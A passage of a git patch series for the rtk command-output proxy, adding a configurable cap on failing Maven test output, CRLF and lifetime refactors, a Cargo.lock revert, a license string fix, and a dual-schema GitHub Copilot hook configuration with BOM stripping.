trailing `Reactor Summary for ` block with per-module SUCCESS/FAILURE rows is kept (toggled by a `[INFO] Reactor Summary for ` header and cleared on `BUILD SUCCESS` / `BUILD FAILURE`). +- **Failure cap** — both the count of emitted failing test classes and the size of the `[ERROR] Failures:` summary block are bounded by `limits.mvn_max_failures` (default `25`). Excess emissions are replaced by a single `... +N more failing test classes` / `... +N more failures` tail to keep large failure sets compact. Set the limit to `0` in `config.toml` to opt out of the cap entirely. Token-savings tests run inline as part of `cargo test --all` and verify ≥90% savings for `mvn test` and ≥85% for `mvn install` on full synthetic fixtures (gzipped, ~1100 lines each). The `flate2` dependency (already in `Cargo.toml`) decompresses the ~3 KB gzipped fixtures in milliseconds. diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 3e302f86bb..15e9a8ca89 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -192,6 +192,10 @@ struct SurefireBlock { block_running: Option, in_block: bool, failure_trail: bool, + /// When set together with `failure_trail`, consumes the trail (per-test + /// `<<< FAILURE!` subline, exception, user frames) without writing it to + /// `out`. Used when the caller capped a failing block via `drop_failing`. + drop_trail: bool, } enum SurefireStep { @@ -216,6 +220,7 @@ impl SurefireBlock { block_running: None, in_block: false, failure_trail: false, + drop_trail: false, } } @@ -260,14 +265,20 @@ impl SurefireBlock { if self.failure_trail { if line.is_empty() { - out.push('\n'); + if !self.drop_trail { + out.push('\n'); + } self.failure_trail = false; + self.drop_trail = false; return SurefireStep::Consumed; } let t = line.trim_start(); if t.starts_with("at ") && is_framework_frame(t) { return SurefireStep::Consumed; } + if self.drop_trail { + return SurefireStep::Consumed; + } out.push_str(line); out.push('\n'); return SurefireStep::Consumed; @@ -276,6 +287,15 @@ impl SurefireBlock { SurefireStep::Passthrough } + /// Mark a `FailingClose` as dropped (cap exceeded). The block itself is + /// already extracted by `step()`; this sets `failure_trail` so the + /// post-close trail (per-test subline, exception, user frames) is + /// consumed and silently dropped until the next blank line. + fn drop_failing(&mut self) { + self.failure_trail = true; + self.drop_trail = true; + } + /// Commit a `FailingClose` to `out`: writes `running`, then `lines` (with /// framework frames stripped), then `close`. Enables `failure_trail` so /// the post-close exception/user-frame trail is preserved. @@ -324,6 +344,91 @@ impl SurefireBlock { } } +/// `[ERROR] Failures:` summary block cap. Maven emits a summary at the end of +/// a failing test run: +/// +/// ```text +/// [ERROR] Failures: +/// [ERROR] ClassA.testFoo:25 expected: but was: +/// [ERROR] ClassB.testBar:42 expected: but was: +/// [INFO] +/// [ERROR] Tests run: 100, Failures: 50, Errors: 0, Skipped: 0 +/// ``` +/// +/// The aggregate `[ERROR] Tests run:` line is matched by `AGG` and kept; the +/// `[ERROR] ` entries are kept by the catch-all `[ERROR]` keeper. On builds +/// with hundreds of failures this can be quite large. Cap entries at +/// `mvn_max_failures` and emit `\n... +N more failures\n` immediately before +/// the `Tests run:` aggregate when entries were dropped. +struct FailuresSummaryCap { + cap: usize, + in_summary: bool, + emitted: usize, + dropped: usize, +} + +impl FailuresSummaryCap { + fn new(cap: usize) -> Self { + Self { + cap, + in_summary: false, + emitted: 0, + dropped: 0, + } + } + + /// If `line` is an `[ERROR] ` entry inside the failures summary, write + /// it (or count it as dropped) and return `true` so the caller skips its + /// own keep-list. Returns `false` otherwise. + fn handle_entry(&mut self, line: &str, out: &mut String) -> bool { + if !self.in_summary || !line.starts_with("[ERROR] ") { + return false; + } + if self.cap == 0 || self.emitted < self.cap { + out.push_str(line); + out.push('\n'); + self.emitted += 1; + } else { + self.dropped += 1; + } + true + } + + /// Detect the `[ERROR] Failures:` header so subsequent `[ERROR] ` lines + /// get capped. Caller is responsible for writing the header to `out`. + fn handle_header(&mut self, line: &str) { + if line.starts_with("[ERROR] Failures:") { + self.in_summary = true; + self.emitted = 0; + self.dropped = 0; + } + } + + /// Pre-emit the `... +N more failures` tail when the aggregate + /// `[ERROR] Tests run:` line is about to be written, then close the + /// summary. Caller writes the AGG line itself afterwards. + fn handle_aggregate(&mut self, line: &str, out: &mut String) { + if !self.in_summary || !AGG.is_match(line) { + return; + } + if self.dropped > 0 { + out.push_str(&format!("\n... +{} more failures\n", self.dropped)); + } + self.in_summary = false; + self.emitted = 0; + self.dropped = 0; + } + + /// End-of-stream tail emission for cases where the AGG line never arrives + /// (truncated output). Emits the tail with no trailing newline guard so + /// the resulting filtered output is still well-formed. + fn finish(&mut self, out: &mut String) { + if self.in_summary && self.dropped > 0 { + out.push_str(&format!("\n... +{} more failures\n", self.dropped)); + } + } +} + /// Buffered single-pass filter for `mvn test` / `mvn integration-test`. /// /// Drives [`SurefireBlock`] for the inner block/trail machine; applies the @@ -334,6 +439,10 @@ impl SurefireBlock { /// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, /// return the ANSI-stripped raw input (non-English locale or truncated output). pub fn filter_surefire(raw: &str) -> String { + filter_surefire_with_cap(raw, crate::core::config::limits().mvn_max_failures) +} + +fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { let stripped = strip_ansi(raw); if !has_english_footer(&stripped) { return stripped; @@ -343,6 +452,9 @@ pub fn filter_surefire(raw: &str) -> String { let mut block = SurefireBlock::new(); let mut keep_continuation = false; let mut in_reactor_summary = false; + let mut emitted_failing: usize = 0; + let mut dropped_failing: usize = 0; + let mut summary = FailuresSummaryCap::new(cap); for line in stripped.lines() { match block.step(line, &mut out) { @@ -352,7 +464,13 @@ pub fn filter_surefire(raw: &str) -> String { lines, close, } => { - block.commit_failing(&mut out, running.as_deref(), &lines, &close); + if cap == 0 || emitted_failing < cap { + block.commit_failing(&mut out, running.as_deref(), &lines, &close); + emitted_failing += 1; + } else { + block.drop_failing(); + dropped_failing += 1; + } keep_continuation = false; continue; } @@ -365,10 +483,21 @@ pub fn filter_surefire(raw: &str) -> String { continue; } + // Failures-summary cap: gate `[ERROR] ` entries, emit `+N more` tail + // before AGG. The helper consumes only summary entries — other lines + // (header, AGG) fall through to the keep-list below. + if summary.handle_entry(line, &mut out) { + continue; + } + // Order matters: call reactor_summary_keep first so its BUILD_FOOT // clears-flag side effect always runs regardless of `||` short-circuit. let reactor_keep = reactor_summary_keep(line, &mut in_reactor_summary); if reactor_keep || keep_outside_block(line) { + // Pre-emit the summary tail when we're about to write AGG. + summary.handle_aggregate(line, &mut out); + // Detect summary header so subsequent `[ERROR] ` entries get capped. + summary.handle_header(line); out.push_str(line); out.push('\n'); keep_continuation = line.starts_with("[ERROR]") @@ -380,6 +509,13 @@ pub fn filter_surefire(raw: &str) -> String { } block.finish(&mut out); + summary.finish(&mut out); + if dropped_failing > 0 { + out.push_str(&format!( + "\n... +{} more failing test classes\n", + dropped_failing + )); + } out } @@ -457,6 +593,10 @@ pub fn filter_compile(raw: &str) -> String { /// Outside any Surefire block, applies the unified keep-list (compile keepers /// + install/artifact lines). pub fn filter_package(raw: &str) -> String { + filter_package_with_cap(raw, crate::core::config::limits().mvn_max_failures) +} + +fn filter_package_with_cap(raw: &str, cap: usize) -> String { let stripped = strip_ansi(raw); if !has_english_footer(&stripped) { return stripped; @@ -467,6 +607,9 @@ pub fn filter_package(raw: &str) -> String { let mut keep_continuation = false; let mut in_reactor_summary = false; let mut seen_warnings: HashSet = HashSet::new(); + let mut emitted_failing: usize = 0; + let mut dropped_failing: usize = 0; + let mut summary = FailuresSummaryCap::new(cap); for line in stripped.lines() { match block.step(line, &mut out) { @@ -476,18 +619,31 @@ pub fn filter_package(raw: &str) -> String { lines, close, } => { - block.commit_failing(&mut out, running.as_deref(), &lines, &close); + if cap == 0 || emitted_failing < cap { + block.commit_failing(&mut out, running.as_deref(), &lines, &close); + emitted_failing += 1; + } else { + block.drop_failing(); + dropped_failing += 1; + } keep_continuation = false; continue; } SurefireStep::Passthrough => {} } + // Failures-summary cap (see filter_surefire_with_cap for details). + if summary.handle_entry(line, &mut out) { + continue; + } + // Order matters: call reactor_summary_keep first so its BUILD_FOOT // clears-flag side effect always runs regardless of `||` short-circuit. let reactor_keep = reactor_summary_keep(line, &mut in_reactor_summary); // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. if reactor_keep || MODULE_BANNER.is_match(line) || keep_outside_block(line) { + summary.handle_aggregate(line, &mut out); + summary.handle_header(line); out.push_str(line); out.push('\n'); keep_continuation = line.starts_with("[ERROR]") @@ -516,6 +672,13 @@ pub fn filter_package(raw: &str) -> String { } block.finish(&mut out); + summary.finish(&mut out); + if dropped_failing > 0 { + out.push_str(&format!( + "\n... +{} more failing test classes\n", + dropped_failing + )); + } out } @@ -1060,6 +1223,160 @@ mod tests { ); } + // ── Cap: failing-class blocks ──────────────────────────────────────────── + + /// Synthetic fixture with 5 failing classes; with `cap = 3` we expect + /// the first 3 failing blocks emitted in full and a + /// `... +2 more failing test classes` tail. + #[test] + fn surefire_caps_failing_blocks_emits_tail() { + let mut i = String::from( + "[INFO] Scanning for projects...\n\ + [INFO] -----< x >-----\n", + ); + for n in 1..=5 { + i.push_str(&format!( + "[INFO] Running x.Fail{n}\n\ + [ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.0{n}1 s <<< FAILURE! -- in x.Fail{n}\n\ + [ERROR] x.Fail{n}.bar -- Time elapsed: 0.0{n}0 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: boom{n}\n\ + \tat x.Fail{n}.bar(Fail{n}.java:25)\n\ + \n", + n = n + )); + } + i.push_str("[INFO] BUILD FAILURE\n"); + + let o = filter_surefire_with_cap(&i, 3); + + // First 3 blocks emitted with their close lines. + for n in 1..=3 { + assert!( + o.contains(&format!("Running x.Fail{}", n)), + "Fail{n} kept; got:\n{}", + o, + n = n + ); + assert!( + o.contains(&format!("in x.Fail{}", n)), + "Fail{n} close line kept; got:\n{}", + o, + n = n + ); + } + // Blocks 4 and 5 dropped. + for n in 4..=5 { + assert!( + !o.contains(&format!("Running x.Fail{}", n)), + "Fail{n} dropped; got:\n{}", + o, + n = n + ); + assert!( + !o.contains(&format!("AssertionFailedError: boom{}", n)), + "Fail{n} exception dropped; got:\n{}", + o, + n = n + ); + } + assert!( + o.contains("... +2 more failing test classes"), + "tail emitted; got:\n{}", + o + ); + } + + /// Cap of 0 means no cap — same fixture but with `cap = 0` should emit + /// all five blocks without any tail. + #[test] + fn surefire_cap_zero_disables_capping() { + let mut i = String::from( + "[INFO] Scanning for projects...\n\ + [INFO] -----< x >-----\n", + ); + for n in 1..=5 { + i.push_str(&format!( + "[INFO] Running x.Fail{n}\n\ + [ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.0{n}1 s <<< FAILURE! -- in x.Fail{n}\n\ + \n", + n = n + )); + } + i.push_str("[INFO] BUILD FAILURE\n"); + let o = filter_surefire_with_cap(&i, 0); + for n in 1..=5 { + assert!( + o.contains(&format!("Running x.Fail{}", n)), + "Fail{n} kept under cap=0; got:\n{}", + o, + n = n + ); + } + assert!( + !o.contains("more failing test classes"), + "no tail under cap=0; got:\n{}", + o + ); + } + + /// `[ERROR] Failures:` summary block cap: with N>cap entries, expect the + /// first `cap` entries plus a `\n... +(N-cap) more failures\n` tail + /// emitted before the aggregate `[ERROR] Tests run:` line. + #[test] + fn failures_summary_block_is_capped() { + let mut i = String::from( + "[INFO] -----< x >-----\n\ + [INFO] Results:\n\ + [INFO]\n\ + [ERROR] Failures:\n", + ); + for n in 1..=5 { + i.push_str(&format!( + "[ERROR] ClassA.test{n}:25 expected: but was: \n", + n = n + )); + } + i.push_str( + "[INFO]\n\ + [ERROR] Tests run: 100, Failures: 5, Errors: 0, Skipped: 0\n\ + [INFO] BUILD FAILURE\n", + ); + let o = filter_surefire_with_cap(&i, 3); + + // First 3 entries kept. + for n in 1..=3 { + assert!( + o.contains(&format!("ClassA.test{}:25", n)), + "entry {n} kept; got:\n{}", + o, + n = n + ); + } + // Entries 4-5 dropped. + for n in 4..=5 { + assert!( + !o.contains(&format!("ClassA.test{}:25", n)), + "entry {n} dropped; got:\n{}", + o, + n = n + ); + } + // Tail emitted before aggregate. + let tail_idx = o + .find("... +2 more failures") + .unwrap_or_else(|| panic!("tail must appear; got:\n{}", o)); + let agg_idx = o + .find("[ERROR] Tests run: 100") + .unwrap_or_else(|| panic!("aggregate must appear; got:\n{}", o)); + assert!( + tail_idx < agg_idx, + "tail must precede aggregate; tail@{} agg@{}; got:\n{}", + tail_idx, + agg_idx, + o + ); + } + // ── Multi-module reactor summary ───────────────────────────────────────── /// `mvn install` on a multi-module reactor build that passes everywhere diff --git a/src/core/config.rs b/src/core/config.rs index ed0f00c6c9..9bee5d032c 100644 --- a/src/core/config.rs +++ b/src/core/config.rs @@ -131,6 +131,11 @@ pub struct LimitsConfig { pub status_max_untracked: usize, /// Max chars for parser passthrough fallback (default: 2000) pub passthrough_max_chars: usize, + /// Max failing Surefire test classes (and `[ERROR] Failures:` summary + /// entries) emitted by the Maven filter. Excess emissions are replaced + /// by a `... +N more failing test classes` / `... +N more failures` tail. + /// Set to `0` to opt out of the cap entirely. Default: 25. + pub mvn_max_failures: usize, } impl Default for LimitsConfig { @@ -141,6 +146,7 @@ impl Default for LimitsConfig { status_max_files: 15, status_max_untracked: 10, passthrough_max_chars: 2000, + mvn_max_failures: 25, } } } From 92a9218041cd10c60bc614a34aff590e61f023b2 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 14:06:51 -0300 Subject: [PATCH 146/257] =?UTF-8?q?refactor(mvn):=20polish=20=E2=80=94=20s?= =?UTF-8?q?trip=5Fprefix,=20borrow=20buffers,=20CRLF=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three small reviewer-suggested cleanups: - `[WARNING] ` prefix slicing in `filter_compile` / `filter_package` was written defensively as `&line["[WARNING] ".len().min(line.len())..]`. Both call sites are already gated by `line.starts_with("[WARNING]")` so the `min` is dead defence. Use `strip_prefix(...).unwrap_or(line)` which reads identically to the rest of the module. - `SurefireBlock` and `SurefireStep::FailingClose` now borrow lines from the post-ANSI-strip `String` (`Vec<&'a str>` / `Option<&'a str>` / `&'a str` close), tied to the `stripped` local in `filter_surefire_with_cap` / `filter_package_with_cap`. No `.to_string()` allocations on the hot per-line path; the slice fixtures' savings tests are unaffected and the gzipped full-fixture tests still hit ≥90%/≥85%. - New `surefire_handles_crlf_line_endings` and `package_handles_crlf_line_endings` tests assert byte-equality between an LF-filtered fixture and a CRLF-converted-then-LF-normalised one. Catches the class of bug where exact-equality line checks silently miss CRLF input because `str::lines()` strips `\n` but keeps trailing `\r`. --- src/cmds/jvm/mvn_cmd.rs | 76 ++++++++++++++++++++++++++++------------- 1 file changed, 53 insertions(+), 23 deletions(-) diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 15e9a8ca89..885f849747 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -187,9 +187,9 @@ fn keep_outside_block(line: &str) -> bool { /// emits **after** the close line, terminated by a blank line. Framework /// frames (junit, jdk.proxy, java.base, etc.) are stripped from both the /// buffered block and the trail; user-code frames are preserved. -struct SurefireBlock { - block_lines: Vec, - block_running: Option, +struct SurefireBlock<'a> { + block_lines: Vec<&'a str>, + block_running: Option<&'a str>, in_block: bool, failure_trail: bool, /// When set together with `failure_trail`, consumes the trail (per-test @@ -198,22 +198,22 @@ struct SurefireBlock { drop_trail: bool, } -enum SurefireStep { +enum SurefireStep<'a> { /// Inner machine consumed the line; outer loop should `continue;`. Consumed, /// A CLOSE line with `Failures > 0` or `Errors > 0` was reached. Outer /// loop decides whether to commit (via [`SurefireBlock::commit_failing`]). FailingClose { - running: Option, - lines: Vec, - close: String, + running: Option<&'a str>, + lines: Vec<&'a str>, + close: &'a str, }, /// Inner machine did not handle the line; outer loop applies its own /// outside-block keep logic. Passthrough, } -impl SurefireBlock { +impl<'a> SurefireBlock<'a> { fn new() -> Self { Self { block_lines: Vec::new(), @@ -224,7 +224,7 @@ impl SurefireBlock { } } - fn step(&mut self, line: &str, out: &mut String) -> SurefireStep { + fn step(&mut self, line: &'a str, out: &mut String) -> SurefireStep<'a> { if PLUGIN_BANNER.is_match(line) { return SurefireStep::Consumed; } @@ -234,7 +234,7 @@ impl SurefireBlock { self.flush_open_block_as_keep(out); } self.block_lines.clear(); - self.block_running = Some(line.to_string()); + self.block_running = Some(line); self.in_block = true; self.failure_trail = false; return SurefireStep::Consumed; @@ -251,7 +251,7 @@ impl SurefireBlock { return SurefireStep::FailingClose { running, lines, - close: line.to_string(), + close: line, }; } self.block_lines.clear(); @@ -259,7 +259,7 @@ impl SurefireBlock { self.in_block = false; return SurefireStep::Consumed; } - self.block_lines.push(line.to_string()); + self.block_lines.push(line); return SurefireStep::Consumed; } @@ -303,7 +303,7 @@ impl SurefireBlock { &mut self, out: &mut String, running: Option<&str>, - lines: &[String], + lines: &[&str], close: &str, ) { if let Some(r) = running { @@ -333,11 +333,11 @@ impl SurefireBlock { fn flush_open_block_as_keep(&mut self, out: &mut String) { if let Some(r) = self.block_running.take() { - out.push_str(&r); + out.push_str(r); out.push('\n'); } for l in self.block_lines.drain(..) { - out.push_str(&l); + out.push_str(l); out.push('\n'); } self.in_block = false; @@ -465,7 +465,7 @@ fn filter_surefire_with_cap(raw: &str, cap: usize) -> String { close, } => { if cap == 0 || emitted_failing < cap { - block.commit_failing(&mut out, running.as_deref(), &lines, &close); + block.commit_failing(&mut out, running, &lines, close); emitted_failing += 1; } else { block.drop_failing(); @@ -567,9 +567,8 @@ pub fn filter_compile(raw: &str) -> String { continue; } if line.starts_with("[WARNING]") { - let norm = FILE_COORD - .replace_all(&line["[WARNING] ".len().min(line.len())..], "") - .to_string(); + let payload = line.strip_prefix("[WARNING] ").unwrap_or(line); + let norm = FILE_COORD.replace_all(payload, "").to_string(); if seen_warnings.insert(norm) { out.push_str(line); out.push('\n'); @@ -620,7 +619,7 @@ fn filter_package_with_cap(raw: &str, cap: usize) -> String { close, } => { if cap == 0 || emitted_failing < cap { - block.commit_failing(&mut out, running.as_deref(), &lines, &close); + block.commit_failing(&mut out, running, &lines, close); emitted_failing += 1; } else { block.drop_failing(); @@ -658,9 +657,8 @@ fn filter_package_with_cap(raw: &str, cap: usize) -> String { continue; } if line.starts_with("[WARNING]") { - let norm = FILE_COORD - .replace_all(&line["[WARNING] ".len().min(line.len())..], "") - .to_string(); + let payload = line.strip_prefix("[WARNING] ").unwrap_or(line); + let norm = FILE_COORD.replace_all(payload, "").to_string(); if seen_warnings.insert(norm) { out.push_str(line); out.push('\n'); @@ -1223,6 +1221,38 @@ mod tests { ); } + // ── CRLF line-ending compatibility ─────────────────────────────────────── + + /// `str::lines()` splits on `\n` but keeps any trailing `\r`, so exact + /// equality / `starts_with("…")` checks can silently fail under Windows + /// line endings. Convert an LF fixture to CRLF, filter both, normalise + /// the CRLF output back to LF, and assert byte-equality. + #[test] + fn surefire_handles_crlf_line_endings() { + let i_lf = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt"); + let o_lf = filter_surefire(i_lf); + let i_crlf = i_lf.replace('\n', "\r\n"); + let o_crlf = filter_surefire(&i_crlf); + assert_eq!( + o_lf, + o_crlf.replace("\r\n", "\n"), + "CRLF filtered output must match LF (modulo line endings)" + ); + } + + #[test] + fn package_handles_crlf_line_endings() { + let i_lf = include_str!("../../../tests/fixtures/mvn_install_slice_raw.txt"); + let o_lf = filter_package(i_lf); + let i_crlf = i_lf.replace('\n', "\r\n"); + let o_crlf = filter_package(&i_crlf); + assert_eq!( + o_lf, + o_crlf.replace("\r\n", "\n"), + "CRLF filtered output must match LF (modulo line endings)" + ); + } + // ── Cap: failing-class blocks ──────────────────────────────────────────── /// Synthetic fixture with 5 failing classes; with `cap = 3` we expect From f58333caa502913a3cc7e1bb7d9211c41c6e1598 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 14:07:40 -0300 Subject: [PATCH 147/257] chore(mvn): drop unrelated Cargo.lock churn from PR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `develop`'s Cargo.lock has its rtk-package entry pinned at `0.36.0` while `Cargo.toml` says `0.34.3` — the lock is internally stale on develop. When `cargo build` ran on this branch it re-pinned the lock to `0.34.3` to match `Cargo.toml`, producing the diff the reviewer flagged on PR #1956. Revert the lock to `develop`'s baseline so the PR's committed diff no longer touches Cargo.lock. `cargo build` will rewrite the working-tree lock on every invocation; that's a local artifact, not part of the committed PR. --- Cargo.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Cargo.lock b/Cargo.lock index 79fa30e31b..b7796e6d8b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.34.3" +version = "0.36.0" dependencies = [ "anyhow", "automod", From e132896d3f3b588813f59790a5c2f7d35e40cb78 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 21:42:07 +0200 Subject: [PATCH 148/257] fix(cicd): MIT to Apache 2.0 --- .github/workflows/release.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 06cb022df3..d18a3b357f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -291,7 +291,7 @@ jobs: desc "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version "VERSION_PLACEHOLDER" - license "MIT" + license "Apache 2.0" if OS.mac? && Hardware::CPU.arm? url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-aarch64-apple-darwin.tar.gz" From 8fb29e2f75a34d9430be74975cccd30213e619aa Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:15:35 +0200 Subject: [PATCH 149/257] fix(hook): emit Copilot CLI-compatible hook config + strip BOM on Windows --- .../guide/getting-started/supported-agents.md | 6 +- src/hooks/constants.rs | 4 ++ src/hooks/hook_cmd.rs | 23 +++++++- src/hooks/init.rs | 58 +++++++++++++++++-- 4 files changed, 83 insertions(+), 8 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index b7fb920deb..ede38bcac7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -66,12 +66,14 @@ rtk init --global --cursor Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. -### VS Code Copilot Chat +### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --global --copilot +rtk init --copilot ``` +Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). + ### Gemini CLI ```bash diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index 506e88cdf8..f9a6922642 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -22,6 +22,10 @@ pub const CURSOR_DIR: &str = ".cursor"; pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; +pub const GITHUB_DIR: &str = ".github"; +pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; +pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; + pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; pub const PI_EXTENSIONS_SUBDIR: &str = "extensions"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..2f29a2d7c3 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -42,7 +42,9 @@ enum HookFormat { pub fn run_copilot() -> Result<()> { let input = read_stdin_limited()?; - let input = input.trim(); + // Strip leading BOM(s) before trimming: some Windows hosts prepend UTF-8 + // BOMs to hook stdin (confirmed for Cursor), which serde_json rejects. + let input = strip_leading_bom(&input).trim(); if input.is_empty() { return Ok(()); } @@ -575,6 +577,25 @@ mod tests { assert!(matches!(detect_format(&v), HookFormat::PassThrough)); } + #[test] + fn test_copilot_bom_prefixed_payload_is_recognized() { + // Windows hosts may prepend one or two UTF-8 BOMs to hook stdin + // (confirmed for Cursor). run_copilot strips them before parsing; + // verify both Copilot formats still parse after the same handling. + for raw in [ + format!("\u{feff}{}", copilot_cli_input("git status")), + format!("\u{feff}\u{feff}{}", copilot_cli_input("git status")), + ] { + let cleaned = strip_leading_bom(&raw).trim(); + let v: Value = serde_json::from_str(cleaned).expect("BOM-stripped JSON must parse"); + assert!(matches!(detect_format(&v), HookFormat::CopilotCli { .. })); + } + + let raw = format!("\u{feff}{}", vscode_input("Bash", "git status")); + let v: Value = serde_json::from_str(strip_leading_bom(&raw).trim()).unwrap(); + assert!(matches!(detect_format(&v), HookFormat::VsCode { .. })); + } + #[test] fn test_detect_unknown_is_passthrough() { assert!(matches!(detect_format(&json!({})), HookFormat::PassThrough)); diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 189f5de557..3f57cf6ae4 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -8,7 +8,8 @@ use std::path::{Path, PathBuf}; use tempfile::NamedTempFile; use crate::hooks::constants::{ - CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, + CONFIG_DIR, COPILOT_HOOK_FILE, COPILOT_INSTRUCTIONS_FILE, CURSOR_DIR, GEMINI_DIR, GITHUB_DIR, + OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, }; use super::constants::{ @@ -3845,7 +3846,9 @@ fn uninstall_gemini(ctx: InitContext) -> Result> { // ── Copilot integration ───────────────────────────────────── +// PreToolUse = VS Code schema, preToolUse = Copilot CLI schema (same file, both hosts). const COPILOT_HOOK_JSON: &str = r#"{ + "version": 1, "hooks": { "PreToolUse": [ { @@ -3854,6 +3857,15 @@ const COPILOT_HOOK_JSON: &str = r#"{ "cwd": ".", "timeout": 5 } + ], + "preToolUse": [ + { + "type": "command", + "bash": "rtk hook copilot", + "powershell": "rtk hook copilot", + "cwd": ".", + "timeoutSec": 5 + } ] } } @@ -3901,8 +3913,8 @@ pub fn run_copilot(ctx: InitContext) -> Result<()> { /// `cargo test`'s default parallel execution). fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; - let github_dir = base.join(".github"); - let hooks_dir = github_dir.join("hooks"); + let github_dir = base.join(GITHUB_DIR); + let hooks_dir = github_dir.join(HOOKS_SUBDIR); if !dry_run { fs::create_dir_all(&hooks_dir) @@ -3912,7 +3924,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { // 1. Upsert RTK marker block in copilot-instructions.md (preserves user content). // Done BEFORE writing the hook config so a malformed file aborts the install // without leaving a stale hook on disk. - let instructions_path = github_dir.join("copilot-instructions.md"); + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); write_rtk_block( &instructions_path, COPILOT_INSTRUCTIONS, @@ -3922,7 +3934,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { )?; // 2. Write hook config (only reached if the upsert above succeeded). - let hook_path = hooks_dir.join("rtk-rewrite.json"); + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; if dry_run { @@ -6254,6 +6266,42 @@ mod tests { assert!(content.contains("rtk cargo test")); } + #[test] + fn test_copilot_hook_json_serves_both_vscode_and_cli_schemas() { + let v: serde_json::Value = serde_json::from_str(COPILOT_HOOK_JSON).unwrap(); + + let vscode = &v["hooks"]["PreToolUse"][0]; + assert_eq!(vscode["command"], "rtk hook copilot"); + assert!(vscode["timeout"].is_number(), "VS Code uses `timeout`"); + + assert_eq!(v["version"], 1, "Copilot CLI requires top-level version"); + let cli = &v["hooks"]["preToolUse"][0]; + assert_eq!(cli["bash"], "rtk hook copilot"); + assert_eq!(cli["powershell"], "rtk hook copilot"); + assert!( + cli["timeoutSec"].is_number(), + "Copilot CLI uses `timeoutSec`" + ); + } + + #[test] + fn test_copilot_init_writes_dual_schema_to_disk() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 84b703d7d02d0fa9b25ab9a39ccc467da2eba440 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:17:27 +0200 Subject: [PATCH 150/257] feat(hook): wire Copilot into uninstall, telemetry, and discover --- .../guide/getting-started/supported-agents.md | 8 + src/core/telemetry.rs | 10 +- src/discover/report.rs | 64 +++++++- src/hooks/init.rs | 142 ++++++++++++++++++ src/main.rs | 2 + 5 files changed, 219 insertions(+), 7 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index ede38bcac7..5007c10be5 100644 --- 